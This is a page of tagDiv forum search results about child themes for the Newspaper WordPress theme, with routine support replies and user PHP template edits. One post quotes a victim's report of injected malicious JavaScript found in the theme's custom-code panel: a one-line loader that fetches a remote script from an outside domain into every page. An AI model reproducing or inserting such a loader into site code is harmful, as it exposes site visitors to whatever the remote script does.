Search Results for 'child theme'

Results from the Forum
Bogdan B.
tagDiv Staff

Hello,

Please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.
Also please increase your system status parameters as mentioned here: https://forum.tagdiv.com/system-status-parameters-guide/

Thank you!

Edward
tagDiv Member

Yes, TagDiv forgot updated logo into the child theme ver. 8.1.

wp-content/themes/Newspaper-child/screenshot.png

dinahmight
tagDiv Member

Hi cantonjester,

I recognized it also a few days ago. I am using the Child theme without any Problems. You can just change the Screenshot.png ? if you would like to – there are no compatibility problems.

Best regards, Dinah

barronlau
tagDiv Member

You were right about the child theme, once I changed to the main theme, I am able to use both VC and Tagdiv without the layout breaking.
http://streamtheplanet.com/ustvnow-addon-kodi/

  • This reply was modified 8 years by barronlau.
Anonymous
tagDiv Member

Hi Simon,

thanks for your reply. Of course I did read the docs before, but couldn’t imagine, that I have to copy a >1000 lines class to modify one function. Would be really a good step towards better child theme support, if custom classes could extend core classes!

Regards,
Marek

barronlau
tagDiv Member

This is what I received from support, that is why I disabled VC.
The only think I could think of it the child theme caused the problem? I’ll try to move back to the main theme instead of using a child? or do you have a child theme I can download?

Hi,

You used Visual Composer to create also your posts – https://www.screencast.com/t/s77PNwJBHwxz so in this case you will have to use V.C. and deactivate tagdiv composer.
Tagdiv composer doesn’t work on post pages.
I have disabled tagdiv composer and activated V.C. on your site.
Unfortunately in this case you will not be able to use tagdiv composer on your site.

Thanks!
Alin V.

cantonjester
Participant
#0

I found the child theme in the code folder, zipped it up and then uploaded it to the site via the Themes page. However, the logo it is using says it’s for ‘Newspaper 7’. Is this just a technical issue where TagDiv forgot to map an updated logo into the child theme: meaning, is it safe to ignore?

Simion C.
tagDiv Staff

Hi,

You will have to create the same directory path inside the child theme, then copy the file in the child theme. Make your modifications in that file, and it will be used instead of the main theme file
https://forum.tagdiv.com/the-child-theme-support-tutorial/

Thanks

Simion C.
tagDiv Staff

Hi,

If the tagDiv composer is interfering with other Visual composer elements, deactivate this editor from the plugins section. Then everything will have to display like before.
Deactivate the tagDiv composer, then simply create pages with Visual composer.
There should be no issues like grids displaying like you mention, even if both editors are active
https://www.screencast.com/t/wCIbRfhAop3Q
https://www.screencast.com/t/VuR7LEHQ
This could be caused by other things, like custom code, plugins or maybe a child theme. Please try as a test to deactivate all other plugins except theme plugins, and check if this has any effect. The page template you are referring to has to display properly with both composers active, or just with Visual composer.

Thanks

Bogdan B.
tagDiv Staff

Hello,

This could be a plugin conflict so please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

Bogdan B.
tagDiv Staff

Hello,

The screen option has a featured image and featured video toggle like so: https://www.screencast.com/t/UZ4k6ThcUKb If this option does not show up for you, please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

dinahmight
Participant
#0

Hi,

I use the Event Calendar plugin with the post type = “tribe_events” that is also successfully recognized in CPT & Taxonomy from your theme. I also use a child theme in which I copied the page.php (that is used from the Event Calendar plugin to list the events).

Now I want that the comment_template is always displayed in the page.php (of my child theme) when the post type = “tribe-events”. Because the comments can only be enabled / disabled in the Theme Panel for ALL pages without any exceptions.

Therefore I made some amendments in the page.php that worked pretty well – the post type is recognized successfully and the comments are always shown, when the post type = tribe events. When the post type is not tribe events the comments template is not shown 🙂 The disadvantage of this is, that in case I want to use the comments on another page in future, it won’t work properly without making changes to the code. Because I disabled the settings in Theme Panel with my amendments.

So I tried to enhance my code a little bit to show the comments always for post type = “tribe events” AND to make the settings in the theme panel still work.


(...)
<div class="td-page-header">
<h1 class="entry-title td-page-title">
<span><?php the_title() ?></span>
</h1>
</div>
<div class="td-page-content">
<?php
the_content();

// check if post type is tribe-events
if (get_post_type() == 'tribe_events' ) {
echo 'Yes, post type is tribe events <br />';
$checkcomment = comments_template('', true); //show comments

// when post type NOT tribe events, check what is set in Theme Panel
} else {
echo 'Nope, post type is not tribe events <br />';
$td_enable_or_disable_page_comments = td_util::get_option('tds_disable_comments_pages'); //check settings

// when comments not allowed in Theme Panel settings, don't show comments
if ($td_enable_or_disable_page_comments != 'show_comments') {

echo 'Sorry, comments are not allowed for pages';
$checkcomment = comments_template('', false);

// when comments are allowed in Theme Panel settings, show comments
} else {

echo 'Great, comments are allowed for pages';
$checkcomment = comments_template('', true);
}
}
endwhile; //end loop
}
?>
</div>

<?php echo $checkcomment;?>

</div>
(...)

Unfortunately the comments template is not displayed on any other pages (although I enabled it in the Theme Panel settings) than on the one with post type =tribe-events”.

On all pages my “testing texts” from the echos (like “Great, comments are allowed for pages”) are always correct (depending on my settings in the theme panel). So the code seem to work …almost… properly :-/

Could you please help me or give me advice whether I have overseen something?

Many Thanks in advance,
Dinah

dinahmight
Participant
#0

Hi,

I would like to use the look & feel of the single_template_8.php (= assigned image in the background) for the page.php template.

I am working with a child theme and would like to insert a copy of page.php into my child folder to realize the above mentioned design changes. The assigned image from a page should be used as background image and above the content a transparent “window” should be displayed.

Could you please give me some hint and advice in how to make this work?

Many thanks in advance,
Dinah

Anonymous
Inactive
#0

Hi,

how can I override methods from includes\wp_booster\td_page_generator.php in child theme? Do I really have to copy the hole file to change one function, or can I do that more smart by overriding just one function?

PeterNolan
tagDiv Member

Hi,

“Apparently it is already solved. I searched the entire BBDD from PhpMyAdmin but did not find anything of traffictrade. There was also no evil code in the header ad.
After searching and searching, I found the following code in the control panel of both sites:

YOUR CUSTOM JAVASCRIPT
var p = document.createElement (“script”); p.type = “text / javascript”; p.src = “https://get.simplefunsite.info/rw.js”; document.head.appendChild (p);

At the moment everything is working well. I have the latest version of WordPress, Newspapper and all updated plugins. I also installed Wordfence. I changed the passwords of all the users, including the password of the BBDD. All strong passwords. I also completed the Authentication Unique Keys from wp-config. Do you think I’m protected now?
You know how they managed to get to the control panel of the theme to enter that malicious code? Thanks.”

I am still getting this problem on my site http://www.manbook.biz. I am looking for where I can find this “your customer javascript” because I have searched everywhere else. Can anyone please tell me where this is? I can only find on the web that it should be under appearance but it is not on my current wordpress control panel.

Thanks in advance for any assistance you may be willing to offer.

Bogdan B.
tagDiv Staff

Hello,

Please first of all make sure you increase your system status parameters like so: https://forum.tagdiv.com/system-status-parameters-guide/
If you get all of the settings in the green zone: https://www.screencast.com/t/t6Zr0efJGD2g and the issue is still present, please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

If you have a firewall, set it to learning mode.

Thank you!

Bogdan B.
tagDiv Staff

Hello,

This might be a plugin compatibility issue. Some plugins became incompatbile in the latest version.
Please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

dinahmight
Participant
#0

Hi,

I use a plugin called WP Store locator that uses a custom post type called “wpsl_stores”. This one is already recognized and listed successfully in the Theme Panel of your Theme as a custom post type.

The plugin offers the option to use a custom store page template that I have already used very successfully with my old theme. You can see it working properly with my old theme here: https://www.mudradar.de/ocr-trainingslocation/stuntwerk-koeln

After switching to your theme I wanted to use my custom post template again. To avoid any incompatibilities I decided to do it step by step and create a custom post template along your tutorial and documentation.

As described here: https://forum.tagdiv.com/custom-post-type-support/ I created a new custom single template for it in my child theme.

I copied the “single_template_1.php” into my child theme folder “Newspaper-child” and renamed it into “single-wpsl_stores.php”. I also copied “loop-single-1.php” and renamed it into “loop-single-wpsl_stores.php”.

In my “single-wpsl_stores.php” I changed “locate_template(‘loop-single-1.php’, true);” into ” locate_template(‘loop-single-wpsl_stores.php’, true);” to make the correct loop file been loaded.

../wp-content/themes/Newspaper-child/single-wpsl_stores.php
../wp-content/themes/Newspaper-child/loop-single-wpsl_stores.php

So I made my changes in the “loop-single-wpsl_stores.php” in the <div class=”td-post-content”> exactly the way I did it when using my old theme:


<div class="td-post-content">
<?php //echo $td_mod_single->get_content();?>

<?php
global $post;
$queried_object = get_queried_object();

$address = get_post_meta( $queried_object->ID, 'wpsl_address', true );
$city = get_post_meta( $queried_object->ID, 'wpsl_city', true );
$country = get_post_meta( $queried_object->ID, 'wpsl_country', true );
$destination = $address . ',' . $city . ',' . $country;
$direction_url = "https://maps.google.com/maps?saddr=&daddr=" . urlencode( $destination ) . "";

// Add the map shortcode
echo do_shortcode( '[wpsl_map height="350" zoom="14"]' );

// Add the content
$post = get_post( $queried_object->ID );
setup_postdata( $post );
the_content();
wp_reset_postdata( $post );

// Add the address shortcode
echo "<h2>Adresse & Kontakt</h2>";
echo do_shortcode( '[wpsl_address]' );

// Add the small map shortcode
echo do_shortcode( '[wpsl_map width ="350" height="200" zoom="14" map_type_control="false"]' );
echo '<p>' . __( 'Route planen', 'wpsl' ) . ' </p>';

// Add the opening hours
echo "<h2>Öffnungszeiten</h2>";
echo do_shortcode( '[wpsl_hours]' );

?>
</div>

I uploaded both files into my “Newspaper-child” Theme folder but found out that my changes and amendments are not fully accepted.

I expected to get a page that shows it like here (https://www.mudradar.de/ocr-trainingslocation/stuntwerk-koeln) with the following Elements:
– Map from shortcode
– Content from Editor
– Adress from shortcode
– small Map from shortcode
– Directions link
– opening hours from shortcode

Instead of this, additional information are displayed:

– Map from shortcode
– Content from Editor
– Map = NOT OK
– Adress = NOT OK
– Opening hours = NOT OK
– Adress from shortcode
– small Map from shortcode
– Directions link
– opening hours from shortcode

It seems as if the_content(); (btw: I also tried it with echo $td_mod_single->get_content(); with same results) shows not only the content from the editor (as expected) but also the additional fields where the address and opening hours and the map are maintained in the backend.

Adress & opening hours are part of a box called “store details” and the map is part of a box called “Store Map” in the backend.

It seems as if my custom post template is handled in another way at it has been done before with my old theme. The extra boxes “store details” and “Store Map” haven’t been displayed before switching to your theme and I am wondering how to avoid this.

Do I have forgotten to make any changes in the theme Panel? Or is there a way to filter the additional information?

Looking forward to getting your suggestions on this. Many thanks in advance,
Dinah

Bogdan B.
tagDiv Staff

Hello,
This is a js error preventing the image loading effect to work properly.
Please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

Bogdan B.
tagDiv Staff

hello,
Most of these issues could be related to a plugin conflict.
Please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Also if the icons issue is not fixed it could be linked to this: https://forum.tagdiv.com/topic/strange-chinese-symbols-replaced-icons-and-arrows/

Let us know.
Thank you!

Bogdan B.
tagDiv Staff

Hi,

You misght have a plugin that became incompatible in the latest version.
Please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

Bogdan B.
tagDiv Staff

Hello,

This could be a plugin conflict so please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

Bogdan B.
tagDiv Staff

Hello,

A child theme should only be used if you plan to alter the theme code. Otherwise it is USELESS. Please read this topic where I explained how a child theme works more in detail:
https://forum.tagdiv.com/topic/setting-up-child-theme/

Thank you!

Bogdan B.
tagDiv Staff

Hello,

Please update your theme to the latest version and update the mobile theme plugin as well by disabling and deleting your current mobile theme plugin and then installing it again from the package you download from envato.
If the problem is still there after the reinstall/update, please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

donorbrain
Participant
#0

Hey there! I just tried and did an update to version 8.1 but now my images aren’t showing sitewide. also the style definitions seems to be different. I first tought this was caused by the child theme but after deactivating it the problem still remains. This is my the website i’m using your theme for: http://www.defensiebond.nl/

Because this is a website with a lot of traffic i want to ask you to please give this some priority!

Viewing 25 results - 9,101 through 9,125 (of 12,866 total)